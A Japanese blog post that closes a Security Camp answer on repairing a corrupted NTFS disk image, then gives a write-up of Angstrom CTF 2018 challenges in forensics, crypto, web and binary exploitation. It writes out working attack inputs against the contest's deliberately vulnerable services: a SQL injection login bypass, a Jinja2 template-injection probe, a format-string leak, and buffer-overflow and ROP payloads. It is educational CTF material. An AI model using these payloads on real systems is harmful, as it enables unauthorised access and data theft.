これは、"BIOS_PARAMETER_BLOCK"構造体の、"bytes_per_sector"というサイズが2バイトのメンバで、1セクタあたりのバイト数を示す。HDDのセクタサイズには、512バイトと、4Kバイト(4096バイト)のものが存在する。後者はHDDの大容量化によって2010年ごろから現れ、アドバンスド・フォーマットという規格が2009年11月に定められている。ただ、NTFSのセクタサイズは512バイトが一般的であるため、512(0x200)バイトと考えた。ところで、オフセット0x28から始まる8バイトは"BIOS_PARAMETER_BLOCK"構造体の"number_of_sectors"というメンバであり、パーティションのセクタの数を示す。したがって、"bytes_per_sector"と"number_of_sectors"の値を掛け合わせると、このディスクイメージファイルのサイズと等しくなるはずである。エクスプローラによると、このディスクイメージファイルのサイズは104857600バイトである。一方、bytes_per_sector=0x200(バイト)、number_of_sectors=0x31fffであることから、掛け合わせた値は104857088となり、もう512(バイト)を加えれば104857600となる。このことから、bytes_per_sectorの値は0x200でよく、また、PBRはセクタとしては数えられないものと考えられる。したがって、bytes_per_sector=0x200(バイト)、number_of_sectors=0x31fffが正しい値と考え、"00 00"になっているところを、リトルエンディアンを考慮し"00 02"と書き直した。

3.オフセット0xdから始まる1バイト
これは、"BIOS_PARAMETER_BLOCK"構造体の、"sectors_per_cluster"というサイズが1バイトのメンバで、1クラスタあたりのセクタの数を示す。その値は0x08であることが多い。ここで、オフセット0x30には8バイトのサイズを持つ"NTFS_BOOT_SECTOR"構造体の"mft_lcn"というメンバがあり、これはMFTの割り当てられている最初のクラスタの番号を示す。すなわち、バイナリエディタ上で、MFTの内容が始まるアドレスと、(bytes_per_sector)*(sectors_per_cluster)*(mft_lcn)という積で求められる値は等しくなるはずである。結果としては、MFTの先頭アドレスは0x2155000であった一方、積の値は0x200*0x8*0x2155=0x2155000であり、等しくなった。よって、bytes_per_sector=0x0200,sectors_per_cluster=0x08,mft_lcn=0x2155が正しい値であると考えられる。
与えられたディスクイメージファイルでは、0x08という値が入るところが、0x00になっている。したがって、"08"と書き直す。

ここまで修正して、FTK Imagerがファイル構造を認識するようになった。また、[root]ディレクトリに、iir_vol37.pdfとiir_vol38.pdfというpdfファイルがあった。しかし、前者はサイズなどの情報や内容が認識されていたのに、後者はファイル名とファイルタイプが"$I30 INDX Entry"となっていること以外に何も情報がなく、内容を確認できなかった。しかし、ファイル情報がこれだけ確認されているということは、ファイル情報を管理するMFTに何か問題があると思ったので、iir_vol38.pdfのMFT情報を見てみることにした。その場所をバイナリエディタで探すためには、ファイル名を用いた。MFTにおいてはファイル名の情報はUnicodeで掲載されているため、検索することができる。そこで、MFT情報を見つけ、さらに次のように修正した。

4.バイナリエディタ上でアドレス0x2165000から始まる4バイト
これは、MFT_RECORD構造体の、magicという4バイトのメンバで、シグネチャとも呼ばれる。その値は、ASCII文字で"BAAD"か"FILE"のいずれかである。通常は"FILE"であるが、ファイルエントリが壊れている場合、"BAAD"となる。さて、"iir_vol38.pdf"のMFT情報が先ほど見つかったが、その先頭は、"BAAD"となっており、壊れていることになっている。ここではiir_vol38.pdfの内容を見たいので、"FILE"に直す。
直した結果、FTK Imager上でiir_vol37.pdfと同様に、サイズや内容などの情報が表示されるようになった。

ここで、FTKからディスクイメージのマウントを試みると、マウントは成功した。しかしながら、Windows10に搭載されているマウント機能ではなぜかマウントできず、疑問が残った。

設問4.
HashSumというハッシュ値計算ソフトウェアを用いて、以上の手順で手に入れたiir_vol37.pdfとiir_vol38.pdfのSHA-256ハッシュ値を求めた。その結果、iir_vol37.pdfのハッシュ値は5d62f82532d62645cd67b312546a599d90d15ea09c5ee5dbd61c5d90fc945ad3であり、iir_vol38.pdfのハッシュ値は86eb9f1fe34087f709a659b051d4d06930078c72d420683f2bf89455f31eb55fであった。ここで、私はこの問題がほかの問題よりも単純に感じたため、念のためにpdfファイルにもディスクイメージファイルが壊れたことによる内容の変化が起きなかったのかについて考えることにした。SHA-256は弱衝突耐性を持ち、1ビットでも内容が狂えば、本来導出されるべきハッシュ値と大きく異なってしまう。iir_vol37.pdfやiir_vol38.pdfをgoogle検索したところ、同じ内容のpdfファイルがあり、公開されていた。そこで、それらをダウンロードし、HashSumでハッシュ値を調べたところ、先ほどの2つのハッシュ値と同じ値であった。したがって、救い出した2つのファイルは公開されているものと内容が同一であり、また、公開されているこの2つのファイルがダウンロードされてから私が救い出すまでに改ざんがなく、ディスクイメージファイルの故障の影響を受けなかったと考えられる。すなわち、救い出したpdfファイルのSHA-256ハッシュ値は上にあげた通りで正しいと考えられる。

ファイルシステムの名称がわかったら比較的早く進みました.この問題も,少しずつ調べながら進めていけば,解けるかもしれません(この問題を見たとき,正直に言うと自分は「ファイルシステムって何??」という状態でした笑).ただ,なぜWindows10が搭載するマウント機能でマウントできなかったのかが謎で,それを考えるのに時間を無駄に使ってしまいました.

最後に

セキュキャンが自分の丈にあっているのかは正直なところとても不安です.でも,そんな態度では決して最前線には立てないので,恐れずに挑戦して,セキュキャンをきっかけに,自分自身で考えて成長できるようになりたいと思います!

Angstrom CTF 2018 write-up

 3月16日から22日にかけて行われたAngstrom CTF 2018に参加してきました!開始早々ドタバタあったそうですが、典型的?な問題が多く、とても勉強になりました。得点は1435点でした。

angstromCTF

150点以上の問題はほぼ解けていませんのでご注意ください(m´・ω・`)m ゴメン…

---MISC---

・Waldo2

同じjpgファイルがたくさん入っているが、どれかは必ず何かが違うはずなのでフォルダ内をサイズ順でソートすると、waldo339.jpgだけ異様にサイズが小さい。これはただのテキストファイルで、拡張子をtxtにして開くとフラグがある。

actf{r3d_4nd_wh1t3_str1p3s}

・That's Not My Name...

リンク先のgettysburg.pdfは、読み込もうとしてもエラーで読み込めない。ひとまずダウンロードしてバイナリエディタで開いてみると、先頭がPKとなっており、Zip形式の圧縮ファイルとわかる。

f:id:verliezer93764:20180323113136j:plain

解凍すると_rels、docProps、Wordというフォルダと[Content_Types].xmlというファイルが中に入っている。実はこれはZipファイルというよりもWordファイルで、TrIDに投げると画像のような結果が出る。

f:id:verliezer93764:20180323113803p:plain

拡張子をdocxにして開くと、フラグがある。

f:id:verliezer93764:20180323112842p:plain

actf{thanks_mr_lincoln_but_who_even_uses_word_anymore}

・File Transfer

与えられたpcapファイルをWireSharkで開くと、23個目のパケットでjpeg画像を受け取ったことがわかる。[ファイル]->[オブジェクトをエクスポート]->[HTTP]->[保存]にてf2J0Qiというファイルを保存し、拡張子をjpgにして開くと、フラグが手に入る。

f:id:verliezer93764:20180323114741j:plain

actf{0ver_th3_w1re}

・gif

プリン(ポケモン)のjif画像が渡される。サイズが大きいのでバイナリエディタで開いてみると、pngファイルは16進で89 50 4E 47から始まりAE 42 60 68で終わるが、これらがあちことでみられる。つまり渡されたファイルは多くのpngファイルが連結されているものだと考えられるので、これを分解する必要がある。下記のpythonスクリプトで分解した。


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import struct

infile=open("jiggs/jiggs.gif","rb")
basebintext=infile.read()
infile.close()

infile=open("jiggs/jiggs.gif","rb")
outfile=open("jiggs/1.png","wb")
i=1

final_four_bytes=["ae","42","60","82"]
latest_four_bytes=["","","",""]

for c in basebintext:

    #書き込み先ファイルに元画像から抽出した値を入れていく
    outfile.write(infile.read(1))

    #読み込んだ最新の4バイトをlatest_four_bytesに入れる
    for j in range(0,3):
        latest_four_bytes[j]=latest_four_bytes[j+1]
    latest_four_bytes[3]=str(format(c,'x'))

    
    #latest_four_bytesがPNGの終端4バイトと一致したら
    #書き込み先を新たなファイルに変える
    if latest_four_bytes==final_four_bytes:
        outfile.close()
        i+=1
        outfile=open("jiggs/"+str(i)+".png","wb")

infile.close()
outfile.close()


 これにより、いくつかのpngファイルが得られるが、上のスクリプトで分解を行っていた場合には5.pngにフラグが書かれている。

f:id:verliezer93764:20180323125916p:plain

actf{thats_not_how_you_make_gifs}

(もっといいやり方があったのかな?)

---CRYPTO---

・Warmup

ヒントを見ると、アフィン暗号らしい。Affine Cipherで、a=19,b=12としてDecryptすると、フラグが得られる。

actf{it_begins}

・Back to Base-ics

遷移先のページには次の内容が書かれている。

 Part 1: 011000010110001101110100011001100111101100110000011011100110010101011111011101000111011100110000010111110110011000110000

Part 2: 165 162 137 145 151 147 150 164 137 163 151 170 164 63 63
Part 3: 6e5f7468317274797477305f733178
Part 4: dHlmMHVyX25vX20wcmV9

 

Flag is the concatenation of the four decoded parts.

Part1,2,3はASCIIコード変換機を使って、2進数、8進数、16進数からASCII文字に変換する。Part4はhttp://www.convertstring.com/ja/EncodeDecode/Base64Decodeを使ってBase64の状態からデコードする。part1から「actf{0ne_tw0_f0」、part2から「ur_eight_sixt33」、part3から「n_th1rtytw0_s1x」、part4から「tyf0ur_no_m0re}」が得られるので、フラグは

actf{0ne_tw0_f0ur_eight_sixt33n_th1rtytw0_s1xtyf0ur_no_m0re}

・XOR

遷移先のページには、以下の内容が書かれている。

fbf9eefce1f2f5eaffc5e3f5efc5efe9fffec5fbc5e9f9e8f3eaeee7

題名や問題文から、これは平文Pを1Byteずつに分割し、それぞれに対し固定の1Byteの鍵KとのXORを計算し、接合したものだとわかる。よって、その鍵Kを見つけて同様にXORを計算すれば平文Pを復元できる。鍵が短いので、ブルートフォースアタックで復号を試みる(先頭が「actf{」になるのを見越して鍵を復元してもよい)。


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys

ciphertext="fbf9eefce1f2f5eaffc5e3f5efc5efe9fffec5fbc5e9f9e8f3eaeee7"
i=1

fixed_ciphertext=[]
ch=""

for c in ciphertext:
    ch+=c

    if i%2==0:
        fixed_ciphertext.append(ch)
        ch=""

    i+=1

i=0
plaintextnum=[]
plaintext=""
plaintext_list=[]

for i in range(255):
    
    success_flag = True

    #暗号文Cと鍵候補iでXORをとる
    for s in fixed_ciphertext:
        asc = int(s, 16) ^ int(i)

        #XORの結果がASCIIの範囲外に
        #あった場合、次の鍵を試す
        if 32 >= asc or 127 <= asc:
            success_flag = False
            break

        plaintextnum.append(asc)

    #XORの結果のすべての文字がASCIIの
    #範囲にあれば、平文候補に加える。
    if success_flag:
        
        for num in plaintextnum:
            plaintext+=chr(num)

        plaintext_list.append(plaintext)
        plaintext=""

    plaintextnum=[]

if len(plaintext_list)==0:
    print("Failed to decrypt this ciphertext... :(")
else:
    print("Succeeded in decrypting and candidates of plaintext are below.")
    print("--------------------------------------------------------------")

    #すべての平文候補を表示する
    for text in plaintext_list:
        print(text)

    print("--------------------------------------------------------------")

input("Put ENTER to end the program...")

 結果

f:id:verliezer93764:20180323151011p:plain

actf{hope_you_used_a_script}

・Intro to RSA

 p、qが与えられているので、C^d mod nを計算することによって平文Pを復元することができる。ただし、Cもdも非常に大きいので、復号するためのC^d mod nの計算には工夫が必要。http://post1.s105.xrea.com/を参照しよう。


#拡張ユークリッド互除法「もどき」
#しかもこのコード専用
def bad_expanded_gcd(e,en):
    k=1
    while True:
        if (k*en+1)%e==0:
            return (k*en+1)//e, k
        k+=1

#solve (base^exp) mod n
def solve_exp_mod(base,exp,n):

    expbin=format(exp,'b')
    expbintext=str(expbin)
    
    plaintext=1
    
    for c in expbintext:
        if c=='1':
            plaintext=plaintext*plaintext*base%n
        else:
            plaintext=plaintext*plaintext%n

    return plaintext
            
def main():
    p=169524110085046954319747170465105648233168702937955683889447853815898670069828343980818367807171215202643149176857117014826791242142210124521380573480143683660195568906553119683192470329413953411905742074448392816913467035316596822218317488903257069007949137629543010054246885909276872349326142152285347048927
    q=170780128973387404254550233211898468299200117082734909936129463191969072080198908267381169837578188594808676174446856901962451707859231958269401958672950141944679827844646158659922175597068183903642473161665782065958249304202759597168259072368123700040163659262941978786363797334903233540121308223989457248267
    e=65537
    c=4531850464036745618300770366164614386495084945985129111541252641569745463086472656370005978297267807299415858324820149933137259813719550825795569865301790252501254180057121806754411506817019631341846094836070057184169015820234429382145019281935017707994070217705460907511942438972962653164287761695982230728969508370400854478181107445003385579261993625770566932506870421547033934140554009090766102575218045185956824020910463996496543098753308927618692783836021742365910050093343747616861660744940014683025321538719970946739880943167282065095406465354971096477229669290277771547093476011147370441338501427786766482964
    
    n=p*q
    en=(p-1)*(q-1)
    
    d,k=bad_expanded_gcd(e,en)

    # P = C^d mod n
    plaintext=solve_exp_mod(c,d,n)
    
    print("Plain text is ...")
    print("-- dec version --")
    print(plaintext)
    print("-- hex version --")
    print(format(plaintext,'x'))
    
if __name__=="__main__":
    main()

 実行結果

f:id:verliezer93764:20180323154505p:plain

16進数での出力結果をASCIIコード変換機に投げるとフラグを獲得。

actf{rsa_is_reallllly_fun!!!!!!}

・ofb

 ブロック暗号は、平文を固定長のブロックに分けて、それぞれの平文ブロックに対し暗号化をし暗号ブロックを作るということを行い、最後に暗号ブロックを結合して暗号文を完成させるという暗号方式。そしてそれぞれのブロックをどのように暗号化するか、各ブロックを暗号化させる鍵をどう生成するかによってECBモード、CBCモード、CTSモード、CFBモード、OFBモード、CTRモードがある。先ほどの問題のXORによる暗号化はある意味ではECBモードといえる。ECBモードは暗号化を通じて平文ブロックと暗号文ブロックを一対一対応させるもので、実装は簡単だが、使うべきではない。

OFBモードは、つぎのような暗号化手順である。

f:id:verliezer93764:20180323171447p:plain

ただし、数値Aを数値Bで2回XORすると数値Aに戻るという特性から、構造上は復号も同じようにできる。

さて、問題ではpythonによる暗号化プログラムと、それにより暗号化されたファイルflag.png.encが与えられる。

暗号化プログラム(encrypt.py)は下の通り。


import struct

def lcg(m, a, c, x):
	return (a*x + c) % m

m = pow(2, 32)

with open('lcg') as f:
	a = int(f.readline())
	c = int(f.readline())
	x = int(f.readline())

d = open('flag.png').read()
d += '\x00' * (-len(d) % 4)
d = [d[i:i+4] for i in range(0, len(d), 4)]

e = ''
for i in range(len(d)):
	e += struct.pack('>I', x ^ struct.unpack('>I', d[i])[0])
	x = lcg(m, a, c, x)

with open('flag.png.enc', 'w') as f:
	f.write(e)
	f.close()


まずは、上のプログラムのflag.pngとflag.png.encを入れ替える。これで復号のベースはできる。そして、次は初期化ベクトルと暗号化関数Fを明らかにする。関数Fは、lcg関数で行われている。これは線形合同法という、n+1回目の出力がX[n+1]=(a*X[n]+c) mod mで定義されている実行速度を重視した疑似乱数生成方法である。その中で、パラメータa,c,x,mについては、m以外はlcgという外部ファイルから読み込んでいる。よって、a,c,xを求めることができればこの問題を解くことができる。ところで、フラグファイルがpngならば、先頭16バイトが89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52で始まっているはずなので、flag.png.encの最初の16バイト18 9A 6D 45 89 A2 9C 3F 4E B6 9D 78 B3 6F 89 27と照らし合わせると、上図でいうK0,K1,K2,K3は

K0=89 50 4E 47 XOR 18 9A 6D 45=91CA2302(16)=2445943554(10)、

K1=0D 0A 1A 0A XOR 89 A2 9C 3F=84A88635(16)=2225636917(10)、

K2=00 00 00 0D XOR 4E B6 9D 78=4EB69D75(16)=1320590709(10)、

K3=49 48 44 52 XOR B3 6F 89 27=FA27CD75(16)=4196912501(10)

であることがわかる。また、線形合同法から

a*K0+c≡K1 (mod m)

a*K1+c≡K2 (mod m)

a*K2+c≡K3 (mod m)

すなわち

a*(K1-K0)≡(K2-K1) (mod m)

a*(K2-K1)≡(K3-K2) (mod m)

が成立する。具体的に表すと、

220306637*a≡905046208 (mod 2^32)

905046208*a≡1418645504 (mod 2^32)

である。

文字が一つになったので、aの値を求めることができる。長いブルートフォースアタックの末、a=3204287424と求まった。

次に、cを求める。cは線形合同法において足される役目となっているので、法mより大きくする必要はなく、c<=2^32である。

先ほどaが求まったので、a*K0+c≡K1 (mod m)にaを代入し、具体的には

7837506169896064896+c≡2225636917 (mod 2^32)からcの値を求めると、c=1460809397である。

最後に、先ほどの定義でいうX[0]の値についてであるが、上のencrypt.pyではlcgファイルから読み取るxの値を線形合同法で攪乱する前にXOR処理「e += struct.pack('>I', x ^ struct.unpack('>I', d[i])[0])」を行っているので、x=K0=2445943554である。以上から、lcgという名前のファイルを作り、a,c,xの順に3204287424、1460809397、2445943554と一行ずつ書いてencrypt.py(改変後)を走らせると、flag.pngが復元され、フラグが手に入る。(python2系で実行した)

参考:decrypt.py


import struct

def lcg(m, a, c, x):
	return (a*x + c) % m

m = pow(2, 32)

a = 3204287424
c = 1460809397
x = 2445943554

d = open('flag.png.enc').read()
d += '\x00' * (-len(d) % 4)
d = [d[i:i+4] for i in range(0, len(d), 4)]

e = ''
for i in range(len(d)):
	e += struct.pack('>I', x ^ struct.unpack('>I', d[i])[0])
	x = lcg(m, a, c, x)

with open('flag.png', 'w') as f:
	f.write(e)
	f.close()

f:id:verliezer93764:20180323182725p:plain

actf{pad_rng}

 

---WEB---

・get me

遷移先ページのsubmitを押すとHey, you're not authorized!と言われるが、URLに「http://web.angstromctf.com:3005/?auth=false」とauth=falseとなっているので、auth=trueにすると、フラグが表示される。

actf{why_did_you_get_me}

・Sequel

ログインページのUsername、Passwordのいずれかのフォームに「'」を入力するとエラーメッセージが表示される。仮にログインのための条件文が「user ' (入力値1) ' について、password=' (入力値2) 'が正しいか」というような構造をしていると、「'」を入力した場合構文エラーが起こってしまう。さて、usernameの欄に「admin」、passwordの欄に「' or '1'='1」と打つと、パスワード照合部分で条件が「password=' ' or '1'='1 '」となるが、'1'='1'なので、この条件は真になってしまう。その結果、adminとしてのログインが通る。

actf{sql_injection_more_like_prequel_injection}

・Source Me 2

ソースを見ると以下のようなJavaScriptがある。


    var checkLogin = function () {
        var password = document.getElementById("password").value;
        if (document.getElementById("uname").value != "admin"){
            console.log(uname);
            document.getElementById("message").innerHTML = "Only admin user allowed!";
            return;
        } else {
            var passHash = md5(password);
            if (passHash == "bdc87b9c894da5168059e00ebffb9077"){
                window.location = "./login.php?user=admin&pass=" + password;
            } else {
                document.getElementById("message").innerHTML = "Incorrect Login";
            }
        }
        return;
    }

つまり、usernameはadminで、passwordのmd5ハッシュ値がbdc87b9c894da5168059e00ebffb9077でなければならない。

Best MD5 & SHA1 Decrypter - Hash Toolkitにて逆変換すると、password1234が返ってくる。従って、Usernameの欄にはadminを、Passwordの欄にはpassword1234を入力すればよい。

actf{md5_hash_browns_and_pasta_sauce}

・MadLibs

あるWebサービスに遷移する。いろいろやっていると、なにやらソースコードを手に入れられる。


from flask import Flask, render_template, render_template_string, send_from_directory, request
from jinja2 import Environment, FileSystemLoader
from time import gmtime, strftime
template_dir = './templates'
env = Environment(loader=FileSystemLoader(template_dir))


madlib_names = ["The Tale of a Person","A Random Story"]
story_fields = {
    "The Tale of a Person":['Author Name','Adjective','Noun','Verb'],
    "A Random Story":['Author Name','Adjective','Noun','Any first name','Verb']
    }

app = Flask(__name__)
app.secret_key = open("flag.txt").read()

@app.route("/",methods=["GET"])
def home():
    return render_template("home.html",libs=madlib_names)
    
@app.route("/form/",methods=["GET"])
def madlib(templatename):
    global madlib_names
    if templatename in madlib_names:  
        return render_template("home.html",libs=madlib_names,title=templatename,fields=story_fields[templatename])
    else:
        error_message = 'The MadLib with title "' + templatename + '" could not be found.'
        return render_template("home.html",libs=madlib_names,message=error_message)

@app.route("/result/",methods=["POST"])
def output(templatename):
    
    if templatename not in madlib_names:    
        return "Template not found."
    
    inpValues = []
    for i in range(len(story_fields[templatename])):
        if not request.form[str(i+1)]: 
            return "All form fields must be filled"
        else:
            inpValues.append(request.form[str(i+1)][:24])
        
    authorName = inpValues.pop(0)[:12]
    try:
        comment = render_template_string('''This MadLib with title %s was created by %s at %s''' % (templatename, authorName, strftime("%Y-%m-%d %H:%M:%S", gmtime())))
    except:
        comment = "Error generating comment."
    return render_template("_".join(templatename.lower().split())+".html",libtitle=templatename,footer=comment, libentries=inpValues)
    

@app.route("/get-source", methods=["GET","POST"])
def source():
    return send_from_directory('./','app.py')

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=7777, threaded=True)

 Flaskとは、Pythonで使うことのできる軽量のWebフレームワークらしい。まず目に入るのは、appのsecret_keyという変数?にフラグが入れられているということ。ただ何をすればいいのかよくわからないので調べていたところ、Server-Side-Templating-Injectionなるものを知った。Flaskを使う際、テンプレートエンジンにjinja2というものを使うが、それは{{と}}で囲まれたコードを実行してしまうらしい。たとえば、{{7 * 7}}を表示させようとすると、単に49が表示される。また、app.secret_key=(フラグ文書)となっていたが、これはconfigという辞書形式のグローバル変数に保存されているらしい。そこで、とりあえず入力フォーム全てに{{config}}を入力すると、下図のようになった。なぜauthorNameにだけconfigが代入されたのかわからないし、もともと問題は解けたけれど、全体的に理解できてない。

f:id:verliezer93764:20180323231614j:plain

actf{wow_ur_a_jinja_ninja}

・File Storer

 何にも手掛かりがなかったので、ヒントを見ると"Can't solve it? Git gud."といわれた。Git gudというのは上手くなれみたいな意味らしいが、Gitというワードが出て何かあるのかなと思っていろいろ調べると、/.gitというディレクトリがあるようだ。

---RE---

IDAのFree版を使った。

・Rev1

32bitELFが渡される。これをIDAに読み込ませ、下図の分岐に注目する。見にくくなってしまったが、画面の一番上でebp+var_54というアドレスからs3cret_pa55wordという文字列を代入している。また、fgetsにより、ebp+var_4Cというアドレスから入力値を代入していく。

f:id:verliezer93764:20180324100021p:plain

そして、図の選択した部分で、eaxすなわちebp+var_4Cの中身の値(入力値)とebp+var_54の中身の値(s3cret_pa55word)とをstrcmpにより比較し、等しければ右側に、等しくなければ左に分岐する。もちろん、等しい場合、つまりs3cret_pa55wordを入力すればフラグが表示される。

・Rev2

32bitELFファイルが渡される。この問題は2段階で構成されている。まずはLevel1。

f:id:verliezer93764:20180324101305p:plain

分岐前のcmp命令により、eaxの値と11D7(16)すなわち4567(10)の値が等しければよいので、まずは4567を入力する。

次は、Level2。今回は数値を二つ入れる。

f:id:verliezer93764:20180324101852p:plain

f:id:verliezer93764:20180324101911p:plain

2枚目の最後の分岐が右側であればフラグが表示される。

最初の入力をA、次の入力をBとするならば、次の条件を満たさなければならない。

1.B<=99

2.9<B

3.A<=99

4.9<A

5.A<=B

6.B*A=0x6D67=3431(10)

これらを満たすのは、A=47、B=73である。よって、"47 73"と入力すればよい。

・Rev3

 32bitELFファイルが渡される。今回は、コマンドライン引数を1つ指定しなければならない。IDAに読み込ませると、"egzloxi|ixw]dkSe]dzSzccShejSi^3q"という文字列が気になったので、コマンドライン引数に指定するも、当然うまくいかない。

f:id:verliezer93764:20180324104304j:plain

ltraceしてみると、入力値がどうやら改造されているらしい。

abc -> ehg

abcdefghijklmn -> ehgjilk^]`_bad

f:id:verliezer93764:20180324104909p:plain

しかしながら、改造前の文字と改造後の文字は一対一対応をしているらしかったので、変換テーブルを作ってみると、"egzloxi|ixw]dkSe]dzSzccShejSi^3q"はフラグ文字列を変換したものだということが分かった。

f:id:verliezer93764:20180324105312p:plain

actf{reversing_aint_too_bad_eh?}

 

---BINARY---

まさか今回pwn系の問題に挑戦するとは思わなかった(もっと先になるかと思っていた)。

・Accumulator

渡されたC言語ソースコードは以下の通り。


#include <stdlib.h>
#include <stdio.h>

int main(){

	int accumulator = 0;
	int n;
	while (accumulator >= 0){
		printf("The accumulator currently has a value of %d.\n",accumulator);
		printf("Please enter a positive integer to add: ");

		if (scanf("%d",&n) != 1){
			printf("Error reading integer.\n");
		} else {
			if (n < 0){
				printf("You can't enter negatives!\n");
			} else {
				accumulator += n;
			}
		}
	}
	gid_t gid = getegid();
	setresgid(gid,gid,gid);
	
	printf("The accumulator has a value of %d. You win!\n", accumulator);
	system("/bin/cat flag");

}

int型変数accumulatorが0以上である間、フラグは表示されないが、負数を加えることもできない。しかし2の補数表現を使っているので、accumulatorを数値的に2147483648以上4294967293以下にしてしまえば、accumulatorは負数扱いされる。ということで、足す数も負数扱いされないように、例えばまず10を足してから2147483640を足してやればwhileループを抜けてフラグが表示される。

 

Cookie jar

渡されたC言語ソースコードは以下の通り。


#include <stdio.h>
#include <stdlib.h>

#define FLAG "----------REDACTED----------"

int main(int argc, char **argv){
  
	gid_t gid = getegid();
	setresgid(gid, gid, gid);

	int numCookies = 0;

	char buffer[64];

	puts("Welcome to the Cookie Jar program!\n");
	puts("In order to get the flag, you will need to have 100 cookies!\n");
	puts("So, how many cookies are there in the cookie jar: ");
	fflush(stdout);
	gets(buffer);

	if (numCookies >= 100){
		printf("Congrats, you have %d cookies!\n", numCookies);
		printf("Here's your flag: %s\n", FLAG);
	} else {
		printf("Sorry, you only had %d cookies, try again!\n",numCookies);
	}
		
	return 0;
}

普通にやれば変数numCookiesの値を変えられないのでフラグは見られない。しかし基本的なバッファオーバーフロー脆弱性がある。char型配列bufferにはchar型64個ぶんの領域しか確保されていないので、それ以上書き込むとnumCookiesの領域まで踏み込んでしまい、numCookiesの値が書き換えられてしまう。例えば次のように入力すれば、フラグを手に入れることができる。"z"はASCII Codeで122番目なので、うまくnumCookiesの値を書き換えることができている。

f:id:verliezer93764:20180324113054p:plain

 

・Number Guess

渡されたC言語ソースコードは以下の通り。


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>


char *flag = "REDACTED";
char buf[50];

int main(int argc, char **argv) {

	
	puts("Welcome to the number guessing game!");
	puts("Before we begin, please enter your name (40 chars max): ");
	fflush(stdout);
	fgets(buf, 40, stdin);
	buf[strlen(buf)-1] = '\0';
		
	strcat(buf, "'s guess: ");	
	puts("I'm thinking of two random numbers (0 to 1000000), can you tell me their sum?");
	
	srand(time(NULL));
	int rand1 = rand() % 1000000;
	int rand2 = rand() % 1000000;

	printf(buf);
	fflush(stdout);
	int guess;
	char num[8];
	fgets(num,8,stdin);
	sscanf(num,"%d",&guess);

	if (guess == rand1+rand2){
		printf("Congrats, here's a flag: %s\n", flag);
	} else {
		printf("Sorry, the answer was %d. Try again :(\n", rand1+rand2); 
	}
	fflush(stdout);
	return 0;
}

疑似乱数を使っているのが、シードを書き換えるのは無理そう。しかし簡単なフォーマットストリング攻撃を使うことができる。標準入力で"%x %x %x %x"などと入れると、各変数のアドレスが表示されてしまう。とりあえずrand1とrand2の値を知りたいので"%d %d %d %d %d %d %d %d %d %d"と入力すると、

f:id:verliezer93764:20180324114949p:plain

答えが3つめの値と9つめの値の和になっていることがわかる。よって、先ほどの"%d %d %d ..."をyour nameとして入力し、出力の3つめの値と9つめの値の和をとればフラグを手に入れることができる。

 

・Rop to the Top

渡されたC言語ソースコードは以下の通り。


#include <stdlib.h>
#include <string.h>
#include <stdio.h>

void the_top(){

	system("/bin/cat flag");

}

void fun_copy(char *input){

	char destination[32];
	strcpy(destination, input);
	puts("Done!");
}

int main (int argc, char **argv){
	gid_t gid = getegid();
	setresgid(gid,gid,gid);

	if (argc == 2){
		puts("Now copying input...");
		fun_copy(argv[1]);
	} else {
		puts("Usage: ./rop_to_the_top32 ");
	}

	return 0;
}

the_topという関数を実行してくれればフラグを見せてくれるが、実行してくれない。ROP攻撃というものがある。サブルーチンに入ったとき、終了時に呼び出し元のアドレスへ制御が戻るようにするためにリターンアドレスが設定されるが、それをバッファオーバーフローによって書き換えることでサブルーチン終了時に自由な場所へ制御を移してやろうという攻撃である。ためしに、gdb上でコマンドライン引数をAAAAAAAA...と設定し、プログラムを走らせてやると次のようになる。

f:id:verliezer93764:20180324120030p:plain

Segmentation fault.や0x41414141 in ?? () と表示されている。これは、プログラム上で存在しないアドレスに移動しようとしたためで、i r コマンドでレジスタの内容を確認すると、eip、すなわち次実行される命令のアドレスが0x41414141に設定されてしまっている。

さて、このリターンアドレスをthe_top関数の先頭アドレスに書き換えたい。IDAで調べてみると、これが0x080486dbであることがわかる。また、AAAAA...のどの位置で書き換えが行われているのか調べるためにコマンドライン引数をAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUに設定してみると、リターンアドレスは0x51414150となるが、'P'=0x50、'Q'=0x51なので、'PAAQ'の部分でリターンアドレスの書き換えが起こせることがわかる。

f:id:verliezer93764:20180324121501p:plain

よって、リトルエンディアンに気を付けて、引数にAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAA\xdb\x86\x04\x08を指定すると、the_top関数が実行される。しかし、gdb上では権限の問題でフラグを見ることができなかったので、次のようにgdb外で通常の状態で実行した。(どうやって16進の状態で引数を渡せるのか知らなかったので悪戦苦闘した)

f:id:verliezer93764:20180324122149p:plain

actf{strut_your_stuff}

 

読んでくれてありがとう!